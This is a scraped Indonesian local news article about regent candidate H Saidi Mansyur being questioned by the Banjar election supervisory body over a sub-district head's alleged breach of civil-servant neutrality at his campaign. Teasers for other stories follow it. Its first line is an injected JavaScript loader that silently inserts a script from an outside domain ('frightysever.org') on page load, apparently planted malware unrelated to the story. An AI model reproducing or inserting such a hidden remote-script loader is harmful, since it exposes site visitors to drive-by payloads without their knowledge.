(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, MARTAPURA – Calon Bupati Banjar H Saidi Mansyur dipanggil Bawaslu Kabupaten Banjar, Sabtu (24/10/2020) siang, klarifikasi kehadiran Camat Aluh-aluh SE yang nongol di kampanye tatap muka terbatas.
Calon Bupati (Cabup) Banjar H Saidi Mansyur memenuhi panggilan Sentra Gakkumdu Bawaslu Kabupaten Banjar, buntut pelaporan dugaan pelanggaran netralitas ASN.
H Saidi Mansyur mengakui dirinya dicecar sekitar 30 pertanyaan dari penyidik di Sentra Gakkumdu Bawaslu Banjar. Ia pun menjelaskan kronologi kehadiran Camat Aluh-aluh SE saat kampanye Paslon H Saidi Mansyur-Said Idrus Alhabsyi di Desa Pemurus Dalam pada Kamis (15/10/2020) lalu.
Setelah memberikan keterangan kepada penyidik di Sentra Gakkumdu Banjar, Cabup Banjar H Saidi Mansyur mengatakan, pihaknya tidak mengundang Camat Aluh-aluh SE pada kampanye, Kamis tanggal 15 Oktober 2020 itu.
Menurut H Saidi Mansyur, Camat Aluh-aluh SE hadir secara spontan di wilayah yang dipimpinnya itu. “Beliau (SE) tidak diundang, beliau secara spontan ikut dalam kegiatan tersebut,†jelasnya, Sabtu (24/10/2020).
Kampanye tatap muka terbatas yang diduga melibatkan ASN Pemkab Banjar di Kecamatan Aluh-aluh. Foto : ist
Camat Aluh-aluh, kata H Saidi Mansyur hadir untuk menyampaikan tentang adanya Pilkada di Kabupaten Banjar yang diikuti 3 pasangan calon bupati dan wakil bupati.
“Beliau mengajak masyarakat untuk turut aktif dalam menyemarakan pesta demokrasi dan pada hari H tidak golput,†pungkas Cabup Banjar nomor urut 1 H Saidi Mansyur.
Kasus dugaan pelanggaran netralitas ASN dan pidana pemilu bermula dari laporan warga Kecamatan Aluh-aluh Kasmayuda. Camat SE dilaporkan melanggar netralitas sebagai seorang ASN yang hadir di kampanye Paslon Bupati Banjar Nomor Urut 1 H Saidi Mansyur-Habu Idrus Alhabsyi. Pelapor menyerahkan sejumlah berkas dan bukti dukung berupa foto hingga video kegiatan kampanye yang diduga melibatkan kehadiran Camat SE.
Sekadar diketahui Pemerintah Kabupaten Banjar sudah menerbitkan Surat Edaran (SE) Nomor : 800/458PPK.2/BKDPSDM tentang netralitas ASN (Aparatur Sipil Negara) yang langsung diturunkan dan diteken oleh Bupati Kabupaten Banjar H Khalilurrahman kepada seluruh SKPD di Pemkab Banjar.
*Klik disini untuk baca atau download SE Pemkab Banjar tentang netralitas ASN dalam Pilkada (red)
Jika terbukti melanggar netralitas, Aparatur Sipil Negara (ASN) Pemkab Banjar, Camat Aluh-aluh SE bakal kena sanksi dari Komisi Aparatur Sipil Negara (KASN). (kanalkalimantan.com/tim)
KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More
KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More
KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More
KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More
This website uses cookies.